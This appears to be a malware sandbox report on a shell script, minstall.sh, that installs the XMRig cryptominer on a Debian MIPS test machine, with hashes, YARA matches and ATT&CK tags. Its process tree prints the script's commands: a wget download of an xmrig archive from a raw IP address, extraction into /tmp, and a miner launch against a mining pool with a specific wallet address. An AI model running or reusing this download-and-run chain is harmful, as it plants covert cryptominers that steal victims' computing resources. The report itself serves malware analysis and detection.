xmrig | eb4d5d21d11d867ae53ef676fe24aeccf6f54e68ab0c5337ce38921940cf97d1

Analysis

max time kernel
10s
max time network
10s
platform
debian-9_mipsel
resource
debian9-mipsel-20240611-en
resource tags

arch:mipselimage:debian9-mipsel-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
submitted
30/03/2025, 19:28

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

minstall.sh
Size

1KB
MD5

815e8f0fa36c902d98a7fc43b325f872
SHA1

0def204bd8a94fc477a98054c0f5d374146362e7
SHA256

eb4d5d21d11d867ae53ef676fe24aeccf6f54e68ab0c5337ce38921940cf97d1
SHA512

feb03aeefa483dcc924fb0f0478e322c19f8f6d483214af0232c0a7c0197ed94781866e1a377db82ad978a0b5d94b8fc364b538b2f910cb717cd5d6e8e8d6190

Score

10^/10

xmrig xmrig_linux discovery miner

Malware Config

Signatures

XMRig Miner payload 2 IoCs

miner

resource	yara_rule
behavioral4/files/fstream-4.dat	family_xmrig
behavioral4/files/fstream-4.dat	xmrig

Xmrig family
xmrig
Xmrig_linux family
xmrig_linux
xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig_linux

Executes dropped EXE 1 IoCs

ioc	pid	Process
/tmp/xmrig/xmrig	738	minstall.sh

Reads runtime system information 2 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/filesystems	tar
File opened for reading	/proc/filesystems	mkdir

System Network Configuration Discovery 1 TTPs 1 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
736	tar

Writes file to tmp directory 1 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/xmrig-6.22.2-linux-static-x64.tar.gz	wget

/tmp/minstall.sh
/tmp/minstall.sh
1⤵
- Executes dropped EXE
PID:703
- /bin/hostname
  hostname
  2⤵
  PID:707
- /usr/bin/cut
  cut -c1-5
  2⤵
  PID:708
- /usr/bin/wget
  wget -q http://168.75.85.109:8081/xmrig-6.22.2-linux-static-x64.tar.gz -O xmrig-6.22.2-linux-static-x64.tar.gz
  2⤵
  - Writes file to tmp directory
  PID:713
- /bin/mkdir
  mkdir -p xmrig
  2⤵
  - Reads runtime system information
  PID:735
- /bin/tar
  tar -xzf xmrig-6.22.2-linux-static-x64.tar.gz -C xmrig "--strip-components=1"
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  PID:736
- - /usr/local/sbin/gzip
    gzip -d
    3⤵
    PID:737
- - /usr/local/bin/gzip
    gzip -d
    3⤵
    PID:737
- - /usr/sbin/gzip
    gzip -d
    3⤵
    PID:737
- - /usr/bin/gzip
    gzip -d
    3⤵
    PID:737
- - /sbin/gzip
    gzip -d
    3⤵
    PID:737
- - /bin/gzip
    gzip -d
    3⤵
    PID:737
- /tmp/xmrig/xmrig
  ./xmrig -o pool.hashvault.pro:443 -u 46zpG6P95j9gLyVAiGebnJSdpPSxGkoNfT4D8Cco7eXHgtbQoSpB3tx4QmKZz7sbGw3BuDDXuFaDWBEe72DbHkMjDMwYZjp -p debia -k --tls -tls-fingerprint 420c7850e09b7c0bdcf748a7da9eb3647daf8515718f36d9ccfdd6b9ff834b14
  2⤵
  PID:738

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

/tmp/xmrig-6.22.2-linux-static-x64.tar.gz

Filesize
3.3MB

MD5
8feb9a1c7da97b6e0d254d93da37371d

SHA1
090510d9ac1aedbce99fe98cc7396cfcfe6a3951

SHA256
b2c88b19699e3d22c4db0d589f155bb89efbd646ecf9ad182ad126763723f4b7

SHA512
2dd6b60365b553dcc703ed0e804dc1744d7288e3f328798afa6ec9f32e13eefa3ee88a3fa01cfd22f0493d2a2125b803f42f268ee3ac0cf6c2f4e3496fa065db

Download Submit
/tmp/xmrig/SHA256SUMS

Filesize
150B

MD5
554d057fe1c4eab2071450cf6c434dc5

SHA1
9fa4d5aa72d698f72d105fce0bd44657f244c7e6

SHA256
cd4a3226d74b573cbd1af1280543912259d6f0e1f5e59c39848700aa01b95de1

SHA512
be34f9b3e7ad12baba834da1b57fd6c943935792be2c026c49887e02cb3bd5645d7152dab2a4d760b5a1c09d782f72c6119098efbae63ccaa295cee83da3abb8

Download Submit
/tmp/xmrig/config.json

Filesize
2KB

MD5
66f38c96a4901e7b345787c447842b3e

SHA1
2aa9b4d1bd2edd5d81bd9725e9318edaee67531f

SHA256
2b03943244871ca75e44513e4d20470b8f3e0f209d185395de82b447022437ec

SHA512
71757fad29d6d2a257362ed28cde9f249cc8a14e646dee666c9029ea97c72de689cdf8ed5cf0365195a6a6831fe77d82efe5e2fa555c6cc5078f1f29ae8dd68f

Download Submit
/tmp/xmrig/xmrig

Filesize
7.9MB

MD5
8f4fff0ded94f1141768220906abfbb8

SHA1
ea7c97294f415dc8713ac8c280b3123da62f6e56

SHA256
b0e1ae6d73d656b203514f498b59cbcf29f067edf6fbd3803a3de7d21960848d

SHA512
0096072a1482f8e7999867baa3dd6e96d51591e9f7645c9ff276b53984957025c83e1fe52e5c4f55639eeed2bdbd80bbd57d7dacd84468ce09c834e39dfc4bee

Download Submit